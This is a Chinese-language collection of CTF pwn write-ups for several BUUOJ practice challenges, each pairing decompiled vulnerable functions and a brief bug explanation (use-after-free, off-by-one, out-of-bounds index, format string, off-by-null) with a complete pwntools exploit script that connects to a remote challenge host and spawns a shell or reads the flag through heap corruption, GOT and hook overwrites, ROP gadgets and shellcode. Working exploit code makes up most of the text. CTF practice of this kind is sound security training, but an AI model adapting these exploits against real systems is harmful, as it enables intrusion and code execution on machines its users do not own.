1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_s_2' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25621 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Your choice:' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('size?>' , str (size)) r.sendafter('content:' , content) def edit (index, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index:' , str (index)) r.sendafter('New content:' , content) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index:' , str (index)) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Index:' , str (index)) def uaf (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index:' , str (index)) add(0 , '' ) uaf(0 ) delete(0 ) add(0x10 , p64(0 )) add(0x10 , 'aaaa' ) show(0 ) r.recvuntil('Content: ' ) heap_base = u64(r.recv(6 ).ljust(8 , b'\x00' )) - 0x2a0 li('heap_base = ' + hex (heap_base)) add(0x440 , 'bbbb' ) add(0x10 , 'cccc' ) delete(2 ) edit(0 , p64(heap_base + 0x2e0 )) show(1 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add(0x440 , 'dddd' ) add(0 , '' ) uaf(4 ) delete(4 ) add(0x10 , p64(free_hook)) add(0x10 , p64(one_gadget)) delete(3 ) r.interactive()
suctf2018_heap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void creat () { int i; int size; void *ptr; void *s; if ( total > 19 ) puts ("tai duo le" ); puts ("input len" ); size = getnum(); if ( size > 127 && size <= 256 ) { ptr = malloc (size); s = malloc (size); memset (s, 0 , size); memset (ptr, 0 , size); puts ("input your data" ); read(0 , ptr, (unsigned int )size); strcpy ((char *)s, (const char *)ptr); ++total; for ( i = 0 ; i < total; ++i ) { if ( !heap_form[i] ) { heap_form[i] = (char *)s; break ; } } if ( i == total ) heap_form[i] = (char *)s; free (ptr); } else { puts ("no no no" ); } }
这题挺有意思的,如果read不输入\x00结束,则后一个字节也会被算入,那就是如果输入的值填满ptr,那么strcpy之后会把ptr下一个chunk的size位给覆盖掉,会覆盖成ptr的size大小
1 2 3 4 5 6 7 8 9 10 11 12 13 int edit () { size_t size; int index; puts ("input id" ); index = getnum(); if ( index < 0 || total - 1 < index ) return puts ("no no no" ); puts ("input your data" ); size = strlen (heap_form[index]); return read(0 , heap_form[index], size); }
那么在edit功能中size的大小就会多上一个,此时可以控制下一个chunk的size
攻击思路很明显,利用此漏洞进行堆重叠,控制heap_form,从而可以控制堆块的地址,从而可以泄露出libc和任意地址写
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './offbyone' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29586 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = '4:edit\n' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('input len' , str (size)) r.sendafter('input your data' , content) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('input id' , str (index)) def edit (index, content ): r.sendlineafter(menu, '4' ) r.sendlineafter('input id' , str (index)) r.sendafter('input your data' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('input id' , str (index)) add(0x88 , 'a' * 0x88 ) add(0x88 , 'b' * 0x88 ) add(0x88 , 'c' * 0x88 ) edit(0 , 'a' * 0x88 + '\xd1' ) p1 = p64(0 ) * 7 + p64(0x51 ) edit(2 , p1) delete(2 ) delete(1 ) p2 = p64(0 ) * 17 + p64(0x91 ) + p64(0x6020C0 ) add(0xc0 , p2) puts_got = elf.got['puts' ] add(0x80 , p64(puts_got)) show(0 ) puts_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.27.so' ) libc_base = puts_addr - libc.sym['puts' ] one = [0x4f2c5 , 0x4f322 , 0xe569f , 0xe5858 , 0xe585f , 0xe5863 , 0x10a38c , 0x10a398 ] one_gadget = one[7 ] + libc_base free_got = elf.got['free' ] edit(1 , p64(free_got)) edit(0 , p64(one_gadget)) r.interactive()
qctf_2018_noleak 1 2 3 4 5 6 7 8 9 void delete () { unsigned int index; my_write("Index: " , 7LL ); index = read_input(); if ( index <= 9 ) free (buf[index]); }
漏洞点一个uaf,保护机制没有PIE并且有执行权限,没有show功能
1 2 3 4 5 6 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x3fe000 ) RWX: Has RWX segments
所以利用思路比较清晰,利用double free将fd连到unsorted bin那里,借助unsorted bin改低字节到malloc_hook那里(先不用改到malloc_hook上),接下来打fd到存放堆地址的buf那里,这样就可以任意地址写了,在buf上写入shellcode然后控制hook为shellcode地址,最后触发即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './QCTF_2018_NoLeak' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26180 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Your choice :' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Size: ' , str (size)) r.sendafter('Data: ' , content) def edit (index, size, content ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index: ' , str (index)) r.sendlineafter('Size: ' , str (size)) r.sendafter('Data: ' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index: ' , str (index)) add(0x10 , 'cccc' ) add(0x420 , 'aaaa' ) add(0x10 , 'bbbb' ) add(0x60 , 'dddd' ) delete(1 ) delete(0 ) delete(0 ) edit(0 , 0x8 , b'\x80' ) add(0x420 , '\x40' ) add(0x10 , 'aaaa' ) add(0x10 , 'aaaa' ) heap_ptr = 0x601040 add(0x10 , p64(heap_ptr)) delete(3 ) edit(3 , 0x60 , p64(heap_ptr)) add(0x60 , 'aaa' ) add(0x60 , p64(heap_ptr)) shellcode = asm(shellcraft.sh()) edit(0 , 0x60 , shellcode + p64(0 ) + b'\x30' ) edit(7 , 8 , p64(heap_ptr)) r.sendlineafter(menu, '1' ) r.sendlineafter('Size: ' , str (0x90 )) r.interactive()
jarvisoj_guess 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl is_flag_correct (char *flag_hex) { unsigned int v1; char given_flag[50 ]; char flag[50 ]; char bin_by_hex[256 ]; char value2; char value1; int index; char diff; int i; if ( strlen (flag_hex) != 100 ) { v1 = strlen (flag_hex); printf ("bad input, that hexstring should be 100 chars, but was %d chars long!\n" , v1); exit (0 ); } qmemcpy(bin_by_hex, &unk_401100, sizeof (bin_by_hex)); qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}" , sizeof (flag)); bzero(given_flag, 0x32 uLL); for ( i = 0 ; i <= 49 ; ++i ) { value1 = bin_by_hex[flag_hex[2 * i]]; value2 = bin_by_hex[flag_hex[2 * i + 1 ]]; if ( value1 == -1 || value2 == -1 ) { puts ("bad input – one of the characters you supplied was not a valid hex character!" ); exit (0 ); } given_flag[i] = value2 | (16 * value1); } diff = 0 ; for ( index = 0 ; index <= 49 ; ++index ) diff |= flag[index] ^ given_flag[index]; return diff == 0 ; }
这一题需要获得远程的flag,本地用ida打开之后是FAKE这个flag,远程的flag不一样
这题的意思就是输入正确的flag(格式是flag的16进制数),在本地测的时候输入46414b457b39623335356533393464323037306562643064663139356438623233343530396363323932373262633431327d
这个即可正确
格式是由given_flag[i] = value2 | (16 * value1);
这个控制,如果value1和value2正常的话是这样的,F的16进制是46,value1就是4,value2就是6,4 * 16 | 6 = 70
,F的10进制是70,所以最后flag[index] ^ given_flag[index];
就相等正确
但是远程不知道flag,仔细看一下程序就可以发现value1 = bin_by_hex[flag_hex[2 * i]];
这个地方的index是char类型,如果flag_hex里的东西超过127会发生oob,而bin_by_hex上面就是flag,所以可以将given_flag给变成flag
当value1为0的时候,只需要value2大于192即可使得flag[index] ^ given_flag[index];
正确,这样子的话我们就伪造了一个不是flag但却正确的数据,那我们只需要依次改里面的一个字节来爆破出远程正确的flag
此时我们单字节爆破即可爆破出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from time import *file_name = './guess' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25800 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = '' for i in range (50 ): p1 += '0' + chr (192 + i) r.sendlineafter('guess> ' , p1) flag = 'flag : flag' for i in range (5 , 51 ): for j in range (32 , 128 ): p2 = p1[0 :i * 2 - 2 ] + hex (j)[2 :] + p1[i * 2 :] r.sendlineafter('guess> ' , p2) result = r.recvline() if b'Yaaaay' in result: flag += chr (j) li(str (flag)) break li(str (flag)) r.interactive()
pwnable_bf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl do_brainfuck (char a1) { int result; _BYTE *v2; result = a1 - 43 ; switch ( a1 ) { case '+' : result = p; ++*(_BYTE *)p; break ; case ',' : v2 = (_BYTE *)p; result = getchar(); *v2 = result; break ; case '-' : result = p; --*(_BYTE *)p; break ; case '.' : result = putchar (*(char *)p); break ; case '<' : result = --p; break ; case '>' : result = ++p; break ; case '[' : result = puts ("[ and ] not supported." ); break ; default : return result; } return result; }
第三次做brainfuck了,oob,没有开got保护,直接打got表,先泄露出libc,然后打memset为ogg,然后控制putchar的got为main_addr,这样最后.的时候再次运行程序,会调用memset来getshell
打.fini发现会失败,也不知道是什么情况,所以就打memset了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './bf' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27311 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) ''' p1 = b'<' * (93 + 4) p1 += b',' * 4 p1 += b'[' ''' p1 = b'.' + b'<' * 0x70 p1 += b'.>.>.>.>' p1 += b'<' * (4 + 4 ) p1 += b',>,>,>,>' p1 += b',>,>,>,>.' r.sendlineafter('type some brainfuck instructions except [ ]' , p1) putchar_addr = u32(r.recvuntil('\xf7' )[-4 :]) li('putchar_addr = ' + hex (putchar_addr)) libc = ELF('libc-2.23.so' ) libc_base = putchar_addr - libc.sym['putchar' ] system_addr = libc_base + libc.sym['system' ] li('system_addr = ' + hex (system_addr)) gets_addr = libc_base + libc.sym['gets' ] li('gets_addr = ' + hex (gets_addr)) one = [0x3a80c , 0x3a80e , 0x3a812 , 0x3a819 , 0x5f065 , 0x5f066 ] one_gadget = one[2 ] + libc_base main_addr = 0x8048671 r.send(p32(one_gadget)) r.send(p32(main_addr)) r.interactive()
cscctf_2019_qual_signal 1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[256 ]; init(argc, argv, envp); read(0 , buf, 0x200 uLL); return 0 ; }
这个题有意思,学到了
只有一个read,所以正常ret2libc不行,有一个gadget是add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
这样的,如果控制了rbx和rbp那我们就可以在任意地址中写值,那么控制rbp和rbx就在csu那里,而且可以控制r12和r14为0,符合一个gadget的条件
这一题把rbp改成read_got + 0x3d,这样的话执行了magic_gadget之后read_got = rbx + read_got,算一下read_got到one_gadget的距离,然后直接把rbx改成那个值,这样read_got就会被改成one_gadget,最后触发read_plt即可触发one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './cscctf_2019_qual_signal' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28359 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) magic_gadget = 0x0000000000400618 csu_gadget = 0x40074A ''' .text:000000000040074A 5B pop rbx .text:000000000040074B 5D pop rbp .text:000000000040074C 41 5C pop r12 .text:000000000040074E 41 5D pop r13 .text:0000000000400750 41 5E pop r14 .text:0000000000400752 41 5F pop r15 .text:0000000000400754 C3 retn ''' read_got = elf.got['read' ] read_plt = elf.plt['read' ] one = 0xe569f p1 = b'a' * (0x100 + 8 ) p1 += p64(csu_gadget) p1 += p64(0xfffffffffffd562f ) p1 += p64(read_got + 0x3d ) p1 += p64(0 ) * 4 p1 += p64(magic_gadget) p1 += p64(read_plt) r.send(p1) r.interactive()
qwb2019_one 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 __fastcall edit (__int64 a1, __int64 a2) { signed int index; char *v4; char v5[2 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); puts ("Please give me the index of the string:" ); index = read_input("Please give me the index of the string:" , a2); if ( (unsigned int )index <= 0x13 && *((_QWORD *)heap_ptr + index) ) { puts ("Which char do you want to edit:" ); sub_D34(v5, 2LL ); v4 = strchr (*((const char **)heap_ptr + index), v5[0 ]); if ( v4 ) { puts ("What do you want to edit it into:" ); *v4 = getchar(); getchar(); puts ("Success!" ); } else { puts ("Sorry, I can't find it!" ); } } else { puts ("Sorry~" ); } return __readfsqword(0x28 u) ^ v6; }
这一题出得很妙,学到了,首先是上面的strchr这个函数,这个strchr如果是字符串最后一个\x00也是可以被替换的,那么就可以进行堆溢出了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __fastcall bd (__int64 a1, __int64 a2) { int result; char v3; int num; result = unk_203010; if ( unk_203010 ) { puts ("\nIf you don't know what to test, here are some strings to choose from." ); puts ("Do you want to use one?(Y/N)" ); v3 = getchar(); getchar(); if ( v3 == 'Y' ) { unk_203010 = 0 ; puts ("Here are 5 strings to be tested. Which one do you want to test?" ); num = (int )abs32(read_input()) % 5 ; if ( num > 4 ) { return puts ("It seems that you don't want to use these strings." ); } else { puts ("The string:" ); return puts ((const char *)heap_ptr[num + 4 ]); } } else { return puts ("Bye~" ); } } return result; }
还有一个漏洞点在上面(int)abs32(read_input()) % 5;
int型0x80000000进行abs32运算之后还是0x80000000,但是会变成负的,这个结果%5=-3,所以在下面的puts中-3 + 4 = 1,所以puts(heap_ptr[1]),这个heap_ptr[1]是什么呢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ssize_t sub_BCB () { ssize_t result; int i; int v2; int fd; v2 = 0 ; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); signal(14 , handler); heap_ptr[0 ] = &unk_2030C0; heap_ptr[1 ] = heap_ptr; result = open("/dev/urandom" , 0 ); fd = result; for ( i = 0 ; i <= 4 ; ++i ) { heap_ptr[i + 4 ] = calloc (0x20 uLL, 1uLL ); if ( !v2 ) { unk_203040 = heap_ptr[i + 4 ]; qword_203160 = unk_203040 + 1520LL ; v2 = 1 ; } result = read(fd, heap_ptr[i + 4 ], 0x20 uLL); } return result; }
其实在第一个函数中已经写过了,heap_ptr[1] = heap_ptr, 那就会输出这个地址,有了这个地址之后就可以算出程序基址
有了code_base并且可以堆溢出,其实攻击思路有很多种,这里选择unlink,中edit的时候发现会卡住,只需要在edit中间加个\n就可以过了,\x00的edit是最简单的,所以有很多地方明明可以直接edit去任意地址修改,但还是会换成有\x00的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './one' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28806 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'command>> ' def add (content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Now, you can input your test string:' , content) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Please give me the index of the string:' , str (index)) def edit (index, want, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('Please give me the index of the string:' , str (index)) r.sendafter('Which char do you want to edit:' , want) r.sendlineafter('What do you want to edit it into:' , content) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Please give me the index of the string:' , str (index)) r.sendlineafter(menu, '12580' ) r.sendlineafter('Do you want to use one?(Y/N)' , 'Y' ) r.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?\n' , str (0x80000000 )) r.recvuntil('The string:\n' ) heap_ptr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('heap_ptr = ' + hex (heap_ptr)) code_base = heap_ptr - 0x2030c0 li('code_base = ' + hex (code_base)) p1 = '' for i in range (0x20 ): p1 += chr (ord ('A' ) + i) add(p1) add('a' * 0x20 ) add('a' * 0x20 ) for i in range (0x10 ): edit(0 , '\x00' , 'a' ) for i in range (8 ): edit(0 , '\x00' , chr (ord ('b' ) + i)) edit(0 , '\x00' , '\x04' ) edit(0 , 'A\n' , '\x44' ) edit(0 , 'A\n' , '\x40' ) edit(0 , '\x44\n' , '\x41' ) for i in range (7 ): edit(0 , chr (ord ('i' ) - i) + '\n' , '\x00' ) edit(0 , 'b\n' , '\x30' ) fake_chunk = p64(0 ) + p64(0x31 ) fake_chunk += p64(heap_ptr - 0x18 ) + p64(heap_ptr - 0x10 ) fake_chunk = fake_chunk[::-1 ] for i in range (0x1f ): edit(0 , chr (ord ('`' ) - i) + '\n' , chr (fake_chunk[i])) edit(0 , 'A\n' , '\x00' ) for i in range (0xF + 1 ): add('c' * 0x20 ) delete(1 ) for i in range (0x18 ): edit(0 , '\x00' , 'a' ) edit(0 , '\xa8\n' , '\xc8' ) free_got = elf.got['free' ] + code_base for i in range (6 ): edit(0 , '\x00' , p8((free_got >> (8 * i)) & 0xFF )) show(1 ) free_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('free_addr = ' + hex (free_addr)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = free_addr - libc.sym['free' ] free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base for i in range (6 ): edit(0 , p8((free_got >> (8 * i)) & 0xFF ) + b'\n' , p8((free_hook >> (8 * i)) & 0xFF )) for i in range (6 ): edit(1 , '\x00' , p8((one_gadget >> (8 * i)) & 0xFF )) delete(3 ) r.interactive()
0ctf2017_easiestprintf 1 2 3 4 5 6 7 8 9 10 11 12 unsigned int do_read () { _DWORD *v1; unsigned int v2; v2 = __readgsdword(0x14 u); v1 = 0 ; puts ("Which address you wanna read:" ); _isoc99_scanf("%u" , &v1); printf ("%#x\n" , *v1); return __readgsdword(0x14 u) ^ v2; }
do_read可以泄露出libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void __noreturn leave () { int i; char s[160 ]; unsigned int v2; v2 = __readgsdword(0x14 u); memset (s, 0 , sizeof (s)); puts ("Good Bye" ); for ( i = 0 ; i <= 158 ; ++i ) { if ( read(0 , &s[i], 1u ) != 1 ) exit (-1 ); if ( s[i] == 10 ) break ; } printf (s); exit (0 ); }
这里有格式化,但是保护了got表,不能利用exit_got,这里有一个点就是printf输出的字符过多的时候,会调用malloc来处理
如果控制了malloc_hook为ogg就可以getshell了,具体的看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (width >= WORK_BUFFER_SIZE - 32 ) { size_t needed = ((size_t ) width + 32 ) * sizeof (CHAR_T); if (__libc_use_alloca (needed)) workend = (CHAR_T *) alloca (needed) + width + 32 ; else { workstart = (CHAR_T *) malloc (needed); if (workstart == NULL ) { done = -1 ; goto all_done; } workend = workstart + width + 32 ; } }
1 2 3 4 extern inline int __libc_use_alloca (size_t size){ return size <= __MAX_ALLOCA_CUTOFF; }
needed要大于__MAX_ALLOCA_CUTOFF
,然后就可以到下面的malloc了,所以先利用fmt改malloc_hook
,然后在后面加%99999999c,肯定比__MAX_ALLOCA_CUTOFF
大,所以就可以成功调用malloc了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from time import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './EasiestPrintf' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27051 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) puts_got = elf.got['puts' ] r.sendlineafter('Which address you wanna read:' , str (puts_got)) r.recvuntil('0x' ) puts_addr = int (r.recv(8 ), 16 ) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.23.so' ) libc_base = puts_addr - libc.sym['puts' ] li('libc_base = ' + hex (libc_base)) one = [0x3a80c , 0x3a80e , 0x3a812 , 0x3a819 , 0x5f065 , 0x5f066 ] one_gadget = one[2 ] + libc_base malloc_hook = libc_base + libc.sym['__malloc_hook' ] offest = 7 p1 = fmtstr_payload(offest, {malloc_hook : one_gadget}) + b"%99999999c" r.sendlineafter('Good Bye\n' , p1) r.interactive()
ycb_2020_easy_heap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall edit (__int64 a1, __int64 a2) { _BYTE *v2; unsigned int index; printf ("Index: " ); index = read_input("Index: " , a2); if ( index > 0xFF || !heap_ptr[index] ) return puts ("Don not exist!" ); puts ("Content: " ); v2 = heap_ptr[index]; v2[(int )read(0 , v2, (unsigned int )size_ptr[index])] = 0 ; return puts ("[+]Done!" ); }
edit这里有一个off-by-null,这一题就是2.31的off-by-null,板子题,之前没做过2.31的off-by-null,直接拿的网上的板子一套,然后orw即可
这里学到了一个execveat拿shell,使用bash的一些内置命令即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ycb_2020_easy_heap' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29210 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Choice:' def add (size ): r.sendlineafter(menu, '1' ) r.sendlineafter('Size: ' , str (size)) def edit (index, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index: ' , str (index)) r.sendafter('Content: ' , content) def delete (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index: ' , str (index)) def show (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Index: ' , str (index)) add(0x410 ) add(0x20 ) add(0x20 ) add(0x4f0 ) add(0x10 ) add(0x20 ) delete(0 ) add(0x410 ) show(0 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./libc-2.30.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) delete(1 ) delete(2 ) add(0x28 ) show(1 ) r.recvuntil('Content: ' ) heap_base = u64(r.recv(6 ).ljust(8 , b'\x00' )) - 0x6c0 li('heap_base = ' + hex (heap_base)) add(0x28 ) edit(1 , p64(heap_base + 0x6c0 ) + 0x18 * b'a' + p64(0x50 )) edit(2 , p64(0 ) + p64(0x51 ) + p64(heap_base + 0x6f0 - 0x18 ) + p64(heap_base + 0x6f0 - 0x10 )) delete(3 ) add(0x100 ) edit(3 , p64(0 ) * 3 + p64(0x31 )) delete(5 ) delete(1 ) edit(3 , p64(0 ) * 3 + p64(0x31 ) + p64(free_hook)) add(0x20 ) add(0x20 ) gadget = 0x0000000000154b90 + libc_base edit(5 , p64(gadget)) heap_first = heap_base + 0x290 + 0x10 setcontext = libc.sym['setcontext' ] + 61 + libc_base mprotect_addr = libc.sym['mprotect' ] + libc_base shellcode = shellcraft.open ('./flag' , 0 ) shellcode += shellcraft.read(3 , heap_first + 0x200 , 0x100 ) shellcode += shellcraft.write(1 , heap_first + 0x200 , 0x100 ) shellcode = asm(shellcode) p1 = p64(heap_first + 0x100 ) + p64(heap_first) p1 = p1.ljust(0x20 , b'\x00' ) + p64(setcontext) p1 = p1.ljust(0x68 , b'\x00' ) + p64(heap_base) p1 = p1.ljust(0x70 , b'\x00' ) + p64(0x4000 ) p1 = p1.ljust(0x88 , b'\x00' ) + p64(7 ) p1 = p1.ljust(0xa0 , b'\x00' ) + p64(heap_first) p1 = p1.ljust(0xa8 , b'\x00' ) + p64(mprotect_addr) p1 = p1.ljust(0x100 , b'\x00' ) + shellcode edit(0 , p1) delete(0 ) r.interactive()
